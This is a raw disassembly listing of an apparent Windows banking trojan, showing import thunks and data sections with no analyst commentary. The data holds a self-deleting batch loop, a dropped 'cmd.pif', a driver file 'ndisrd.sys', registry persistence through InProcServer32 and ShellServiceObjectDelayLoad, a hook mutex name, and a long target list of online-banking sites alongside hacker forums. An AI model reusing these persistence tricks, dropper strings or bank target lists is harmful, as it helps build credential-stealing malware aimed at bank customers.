sub_40CC08	proc near		; CODE XREF: sub_408779+119p
		jmp	ds:dword_448540
sub_40CC08	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC14	proc near		; CODE XREF: sub_40129C+1Cp
					; .text:00401448p ...
		jmp	ds:dword_448544
sub_40CC14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC20	proc near		; CODE XREF: sub_4061F7+7Bp
					; sub_4061F7+255p ...
		jmp	ds:dword_448548
sub_40CC20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC2C	proc near		; CODE XREF: sub_40109A+149p
		jmp	ds:dword_44854C
sub_40CC2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC38	proc near		; CODE XREF: sub_40172F:loc_401746p
					; sub_403BE7+3Bp ...
		jmp	ds:dword_448550
sub_40CC38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC44	proc near		; CODE XREF: sub_40109A+102p
					; sub_40109A+11Cp ...
		jmp	ds:dword_448554
sub_40CC44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC50	proc near		; CODE XREF: sub_4037CA+2Bp
					; .text:0040388Ap ...
		jmp	ds:dword_448558
sub_40CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC5C	proc near		; CODE XREF: sub_4098A8+7Dp
					; sub_40AA24+128p
		jmp	ds:dword_44855C
sub_40CC5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC68	proc near		; CODE XREF: sub_4098A8+A77p
		jmp	ds:dword_448560
sub_40CC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC74	proc near		; CODE XREF: sub_40341E+44p
					; sub_40349A+51p ...
		jmp	ds:dword_448564
sub_40CC74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC80	proc near		; CODE XREF: sub_40C654+17p
		jmp	ds:dword_448568
sub_40CC80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC8C	proc near		; CODE XREF: sub_4061F7+4FAp
		jmp	ds:dword_44856C
sub_40CC8C	endp

; ---------------------------------------------------------------------------
		align 400h
_text		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0002E520 ( 189728.)
; Section size in file		: 0002E520 ( 189728.)
; Offset to raw	data for section: 0000D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_bss		segment	para public 'DATA' use32
		assume cs:_bss
		;org 40D000h
dword_40D000	dd 72656B5Ch		; DATA XREF: sub_4082AB+50w
					; sub_4082AB+89r ...
aNel32_dll	db 'nel32.dll',0
		align 10h
		dd 0
aSCmd_pif	db '%s\cmd.pif',0
		align 10h
		dd 0
		db    0
aCmd_exeCStartC	db '\cmd.exe /C start c:\boot.sys',0
		align 4
		dd 40Dh	dup(0)
dword_40E078	dd 0			; DATA XREF: sub_408ED0+973w
					; sub_40B2CA+C8r
dword_40E07C	dd 0			; DATA XREF: sub_401D31+2Aw
					; sub_401D31+45Cw ...
dword_40E080	dd 40h dup(0)		; DATA XREF: sub_408048+1C8o
					; sub_4098A8+709o ...
dword_40E180	dd 0			; DATA XREF: sub_40354F+5Aw
					; sub_40354F:loc_4035D1r
		dd 413h	dup(0)
dword_40F1D0	dd 0			; DATA XREF: sub_401D31+3Fw
					; sub_401D31+21Ew ...
dword_40F1D4	dd 0			; DATA XREF: sub_401D31:loc_40210Ew
					; sub_401D31+3E9r ...
dword_40F1D8	dd 0			; DATA XREF: sub_406D2E+F7Fr
					; sub_406D2E+FF5r ...
byte_40F1DC	db 0			; DATA XREF: sub_401D31+11Dw
		align 10h
dword_40F1E0	dd 40h dup(0)		; DATA XREF: sub_40133B+2Fo
					; sub_40AA24+425o ...
dword_40F2E0	dd 0			; DATA XREF: sub_402843+82r
					; sub_402A48+D0w ...
		dd 0FFh	dup(0)
dword_40F6E0	dd 0			; DATA XREF: sub_40372A+50w
					; sub_40372A+96r
		dd 44Eh	dup(0)
dword_41081C	dd 0			; DATA XREF: sub_408ED0+6AFw
					; sub_408ED0+855r ...
dword_410820	dd 0			; DATA XREF: .text:00401B70w
					; .text:loc_401BADr
		dd 41Fh	dup(0)
dword_4118A0	dd 0			; DATA XREF: sub_402A48+599w
		dd 0FFh	dup(0)
dword_411CA0	dd 785C7325h		; DATA XREF: sub_404020+13w
					; sub_404020+41r
aSlfdlnt_bat	db 'slfdlnt.bat',0
		dd 0
		dd 5C732500h, 2E646D63h, 666970h, 0
		dd 6D635C00h, 78652E64h, 65h, 3A000000h, 706F6F6Ch, 64400A0Dh
		dd 25206C65h, 756E3E73h, 400A0D6Ch, 65206669h, 74736978h
		dd 20732520h, 6F746F67h, 6F6F6C20h, 400A0D70h, 206C6564h
		dd 6E3E7325h, 0A0D6C75h, 0
		dd 73250000h, 20432F20h, 7325h,	431h dup(0)
dword_412DE0	dd 0			; DATA XREF: .text:00402513w
					; .text:00402559r
		dd 44Eh	dup(0)
dword_413F1C	dd 0			; DATA XREF: sub_408ED0+9A7w
					; sub_40B2CA+DDr
dword_413F20	dd 0			; DATA XREF: sub_408ED0+447w
					; sub_408ED0+8ADr ...
		align 10h
dword_413F30	dd 0			; DATA XREF: sub_408AB9+5Bw
					; sub_408AB9+89r
		dd 44Fh	dup(0)
byte_415070	db 0			; DATA XREF: sub_401D31+3F1w
		align 8
byte_415078	db 0			; DATA XREF: sub_401D31+5Fw
					; sub_401D31+64r ...
		align 4
dword_41507C	dd 0			; DATA XREF: sub_401D31+50w
					; sub_401D31+1C8w ...
dword_415080	dd 40h dup(0)		; DATA XREF: sub_4098A8+8C1o
					; sub_4098A8+9ECo ...
dword_415180	dd 0			; DATA XREF: sub_402A48+A7w
					; sub_402A48+C4r ...
		dd 0FFh	dup(0)
dword_415580	dd 0			; DATA XREF: sub_407FBC+52w
					; sub_407FBC:loc_40803Er
		dd 45Bh	dup(0)
dword_4166F0	dd 0			; DATA XREF: .text:00401964w
					; .text:00401991r
		dd 3FFh	dup(0)
dword_4176F0	dd 0			; DATA XREF: sub_404491+53w
					; sub_404491+8Er
		dd 3F3h	dup(0)
dword_4186C0	dd 0			; DATA XREF: .text:004021F4w
					; .text:loc_40221Cr
		dd 413h	dup(0)
dword_419710	dd 94h			; DATA XREF: sub_40AA24+C3w
					; sub_40AA24+D2o
		dd 5, 1, 0A28h
dword_419720	dd 2			; DATA XREF: sub_4098A8+AC4r
		dd 23h dup(0)
dword_4197B0	dd 0			; DATA XREF: sub_405138+50w
					; sub_405138+81r
		dd 40Fh	dup(0)
dword_41A7F0	dd 0			; DATA XREF: .text:00401487w
					; .text:004014BFr
		dd 3EBh	dup(0)
byte_41B7A0	db 0			; DATA XREF: sub_401D31+3B8w
					; sub_401D31+3BDr
		align 4
dword_41B7A4	dd 0			; DATA XREF: sub_401D31+46w
					; sub_401D31+D0r ...
dword_41B7A8	dd 0			; DATA XREF: sub_40B3E8+236r
dword_41B7AC	dd 0			; DATA XREF: sub_402226+55w
					; sub_4023A7+13r ...
dword_41B7B0	dd 6972645Ch		; DATA XREF: sub_40129C+5Bw
					; sub_40129C+95r
aVersNdisrd_sys	db 'vers\ndisrd.sys',0
		dd 0
		dd 616E6500h, 64656C62h, 6673h,	0
aSS_exe		db '%s\%s.exe',0
		align 4
		dd 3F6h	dup(0)
dword_41C7BC	dd 0			; DATA XREF: sub_40AA24+59Ew
					; sub_40AA24+841r ...
dword_41C7C0	dd 0			; DATA XREF: sub_406815+5Fw
					; sub_406815+A2r
		dd 435h	dup(0)
dword_41D898	dd 0			; DATA XREF: sub_408ED0+152w
					; sub_408ED0+21Er
dword_41D89C	dd 0			; DATA XREF: sub_408ED0+4Bw
					; sub_408ED0+6Fr ...
dword_41D8A0	dd 0			; DATA XREF: sub_402226+45w
					; sub_4024A8+13r
		align 10h
dword_41D8B0	dd 463Ah		; DATA XREF: sub_4032E2+4Bw
					; sub_4032E2+84r
		dd 401h	dup(0)
dword_41E8B8	dd 0			; DATA XREF: sub_401D31+31w
					; sub_401D31:loc_401DBBw ...
dword_41E8BC	dd 0			; DATA XREF: sub_408ED0+72Ew
					; sub_408ED0+74Fr ...
dword_41E8C0	dd 0			; DATA XREF: sub_408ED0+94Aw
					; sub_40B2CA+ACr
dword_41E8C4	dd 0			; DATA XREF: sub_408ED0+2E3w
					; sub_408ED0+3B5r ...
dword_41E8C8	dd 0			; DATA XREF: sub_402226+70w
					; sub_402445+53r
dword_41E8CC	dd 400000h		; DATA XREF: sub_408ED0+9Cr
					; sub_408ED0+10Fr ...
dword_41E8D0	dd 40h dup(0)		; DATA XREF: sub_408B4C+A9o
					; sub_4098A8+DD5o ...
dword_41E9D0	dd 0			; DATA XREF: sub_401D31+38w
					; sub_401D31+ACw ...
		align 10h
dword_41E9E0	dd 3430257Bh		; DATA XREF: sub_40390E+5Aw
					; sub_40390E:loc_403991r
aX04x04x04x04x0	db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0
a08x		db '%08X',0
aSS_dll		db '%s\%s.dll',0
aClsidSInprocse	db 'CLSID\%s\InProcServer32',0
aThreadingmodel	db 'ThreadingModel',0
aApartment	db 'Apartment',0
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay'
		db 'Load',0
		align 10h
		dd 3D9h	dup(0)
dword_41F9F4	dd 0			; DATA XREF: sub_408ED0+902w
					; sub_40B2CA+9Cr
		align 10h
dword_41FA00	dd 40h dup(0)		; DATA XREF: sub_4098A8+642o
					; sub_40AA24+3FFo ...
byte_41FB00	db 0			; DATA XREF: sub_401D31+175w
		align 4
dword_41FB04	dd 0			; DATA XREF: sub_408ED0+DCw
					; sub_408ED0+117r ...
		align 10h
byte_41FB10	db 0			; DATA XREF: sub_406D2E+136o
					; sub_406D2E+D2Fo ...
byte_41FB11	db 0			; DATA XREF: sub_406D2E+EB1r
byte_41FB12	db 0			; DATA XREF: sub_406D2E+EBAr
byte_41FB13	db 0			; DATA XREF: sub_406D2E+EC3r
		dd 3FFFh dup(0)
byte_42FB10	db 0			; DATA XREF: sub_401D31+267w
					; sub_401D31+26Cr
		align 4
dword_42FB14	dd 0			; DATA XREF: sub_406D2E+158w
					; .text:00407F76r ...
		align 10h
dword_42FB20	dd 0			; DATA XREF: .text:004017DDw
					; .text:loc_401810r
		dd 43Fh	dup(0)
dword_430C20	dd 0			; DATA XREF: sub_402226+80w
dword_430C24	dd 0			; DATA XREF: sub_402226+30w
					; sub_4022BB+17r
dword_430C28	dd 0			; DATA XREF: sub_408ED0+1BBw
					; sub_408ED0+23Fr ...
byte_430C2C	db 0			; DATA XREF: sub_401D31+2FAw
					; sub_401D31+30Br ...
		align 10h
dword_430C30	dd 0			; DATA XREF: .text:00404397w
					; .text:loc_4043C0r
		dd 407h	dup(0)
dword_431C50	dd 0			; DATA XREF: sub_406CA2+52w
					; sub_406CA2:loc_406D24r
		dd 459h	dup(0)
dword_432DB8	dd 0			; DATA XREF: sub_408ED0+4B9w
					; sub_408ED0+898r ...
dword_432DBC	dd 0			; DATA XREF: sub_408ED0+5A7w
					; sub_40B3E8+246r ...
dword_432DC0	dd 0			; DATA XREF: sub_408ED0+282w
					; sub_408ED0+373r ...
		align 10h
dword_432DD0	dd 0			; DATA XREF: .text:004085FDw
					; .text:00408644r
		dd 443h	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_403A5F+64o
					; sub_403BE7+221o ...
		dd 3Bh dup(0)
byte_433FE0	db 0			; DATA XREF: sub_40133B+ADo
					; sub_408048+FCw ...
		align 4
		dd 3Fh dup(0)
dword_4340E0	dd 0			; DATA XREF: .text:00401A46w
					; .text:00401A74r
		dd 43Dh	dup(0)
dword_4351D8	dd 0			; DATA XREF: sub_408ED0+52Ew
					; sub_408ED0+8D0r ...
dword_4351DC	dd 0			; DATA XREF: sub_408ED0+7D2w
					; sub_408ED0+8E5r
dword_4351E0	dd 0			; DATA XREF: .text:004015C6w
					; .text:00401600r
		dd 41Bh	dup(0)
dword_436250	dd 0			; DATA XREF: sub_404E2A+5Fw
					; sub_404E2A:loc_404EBCr
		dd 43Fh	dup(0)
dword_437350	dd 0			; DATA XREF: .text:00401CF3w
					; .text:loc_401D27r
		dd 423h	dup(0)
dword_4383E0	dd 0			; DATA XREF: .text:004016FBw
					; .text:loc_401725r
		dd 45Fh	dup(0)
dword_439560	dd 0			; DATA XREF: .text:00408907w
					; .text:00408934r
		dd 3FDh	dup(0)
dword_43A558	dd 0			; DATA XREF: sub_408ED0+61Cw
					; sub_40B3E8+24Er ...
		align 10h
byte_43A560	db 0			; DATA XREF: sub_401D31+42Bw
		align 10h
dword_43A570	dd 0			; DATA XREF: .text:004086FFw
					; .text:00408737r
		dd 3EBh	dup(0)
_bss		ends

; Section 3. (virtual address 0003C000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 0003C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43C000h
		dd offset dword_40D000
		dd 43B520h, 8000h, 0
dword_43C010	dd 0			; DATA XREF: sub_40109A+F6w
					; sub_40109A+110w ...
dword_43C014	dd 12FF74h		; DATA XREF: sub_401219+60w
		dd 0
dword_43C01C	dd 0			; DATA XREF: sub_401219+Bo
dword_43C020	dd 1			; DATA XREF: sub_401219+44o
					; sub_401219+5Ar
dword_43C024	dd 14B5A0h		; DATA XREF: sub_401219+3Fo
					; sub_401219+54r
dword_43C028	dd 149C48h		; DATA XREF: sub_401219+3Ao
					; sub_401219+4Er
dword_43C02C	dd 0			; DATA XREF: sub_40109A:loc_4011F8r
					; sub_40109A:loc_401208r
dword_43C030	dd 0			; DATA XREF: sub_40109A+62w
dword_43C034	dd 0			; DATA XREF: sub_40109A+6Cw
					; sub_40109A+87r ...
dword_43C038	dd 0			; DATA XREF: sub_40109A+74w
dword_43C03C	dd 14h dup(0)		; DATA XREF: sub_40109A+81o
					; sub_40109A+8Fo
dword_43C08C	dd 0			; DATA XREF: sub_40109A+11w
dword_43C090	dd 0			; DATA XREF: sub_40109A+16w
					; sub_40109A+32w
dword_43C094	dd 5			; DATA XREF: sub_408ED0+2C7r
					; sub_408ED0+47Ar ...
dword_43C098	dd 12h			; DATA XREF: sub_40133B+A6r
					; sub_408E12+6Er ...
dword_43C09C	dd 37h			; DATA XREF: sub_40129C+Fr
					; sub_40129C:loc_4012CBr ...
aKkqhook_29	db 'KKQHOOK_29',0       ; DATA XREF: sub_40A9BC+20o
					; sub_40AA24+5A3o
aGu?		db 'gU',27h,'= ?',0
aOX2bn		db 'O+X2Bn',0
aW		db 'w',0
		align 4
dword_43C0BC	dd 0			; DATA XREF: sub_4098A8+120r
					; sub_4098A8+153r ...
dword_43C0C0	dd 46h			; DATA XREF: sub_4098A8+101Cr
					; sub_4098A8+105Cr ...
off_43C0C4	dd offset aSiliconfirewar ; DATA XREF: sub_4098A8+126r
					; sub_4098A8+159r
					; "siliconfireware.ru"
		dd offset aChechenpress_i ; "chechenpress.info"
		dd offset aProdexteam_net ; "prodexteam.net"
		dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
		dd offset aRoyalbank_com ; "royalbank.com"
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
aJnq_		db 'Jnq.',0
aSoftwareMicros	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4098A8+5A0o
					; sub_4098A8+68Fo ...
aK		db 'K',0
aOfstkkq	db 'ofstkkq',0          ; DATA XREF: sub_4098A8+59Bo
					; sub_4098A8+68Ao
		db 0
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_4098A8+6E3o
					; sub_4098A8+898o
		dd 0
dword_43C21C	dd 0			; DATA XREF: sub_408048+1AAw
					; sub_40B3E8:loc_40B57Br ...
dword_43C220	dd 0			; DATA XREF: sub_40B3E8+7Br
					; sub_40B3E8+A9r ...
aDSF?t		db 'D>S F?t',0
dword_43C22C	dd 727C21h		; DATA XREF: sub_40133B+15r
dword_43C230	dd 3Bh			; DATA XREF: sub_401D31+17w
					; sub_401D31+96w ...
		dd 3, 0Eh
dword_43C23C	dd 0			; DATA XREF: .text:0040143Br
					; .text:loc_40145Br ...
		dd 1, 0Dh
dword_43C248	dd 0			; DATA XREF: .text:00401584r
					; .text:loc_40159Dr ...
		dd 2, 10h
dword_43C254	dd 0			; DATA XREF: .text:004016BDr
					; .text:loc_4016D6r ...
		dd 6, 0Ch
dword_43C260	dd 0			; DATA XREF: .text:00401794r
					; .text:loc_4017B4r ...
dword_43C264	dd 354B5Eh		; DATA XREF: sub_40181A+15r
aO68		db 'o6,%8',0            ; DATA XREF: sub_40181A+A7o
		align 10h
		dd 5, 0Ah
dword_43C278	dd 0			; DATA XREF: .text:0040191Br
					; .text:loc_40193Br ...
aVlvh_		db 'vlVh_',0            ; DATA XREF: .text:004019ABo
		align 4
		dd 5, 0Fh
dword_43C28C	dd 0			; DATA XREF: .text:004019FDr
					; .text:loc_401A1Dr ...
word_43C290	dw 2Ah			; DATA XREF: sub_401A7E+37r
dword_43C292	dd 707C44h		; DATA XREF: sub_401A7E+8Er
		align 4
		dd 0
		dd 0Bh
dword_43C2A0	dd 0			; DATA XREF: .text:00401B2Er
					; .text:loc_401B47r ...
word_43C2A4	dw 4Ah			; DATA XREF: sub_401BB7+9r
aFqgcpb		db 'FqGcPB:',0          ; DATA XREF: sub_401BB7+D4o
		align 10h
		dd 2, 0Ah
dword_43C2B8	dd 0			; DATA XREF: .text:00401CAEr
					; .text:loc_401CCEr ...
word_43C2BC	dw 20h			; DATA XREF: sub_401D31+1Dr
aQ8abz		db 'Q8az',0            ; DATA XREF: sub_401D31+13Ao
aIh		db '>%<Ih',0            ; DATA XREF: sub_401D31+2E7o
		align 4
off_43C2CC	dd offset loc_401DBB	; DATA XREF: sub_401D31+7Er
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_401F8C
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E2D
		dd offset loc_401E2D
		dd offset loc_401EB0
		dd offset loc_401ED6
		dd offset loc_401F5A
		dd offset loc_401F20
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
off_43C4FC	dd offset loc_401DBB	; DATA XREF: sub_401D31+291r
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F37
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401F70
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F7C
		dd offset loc_402002
		dd offset loc_401F70
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DCD
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F37
		dd offset loc_401E1C
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E58
		dd offset loc_401F85
		dd offset loc_401E85
		dd offset loc_401E85
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DE8
		dd offset loc_401DE8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
off_43C6CC	dd offset loc_401FCE	; DATA XREF: sub_401D31+27Cr
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
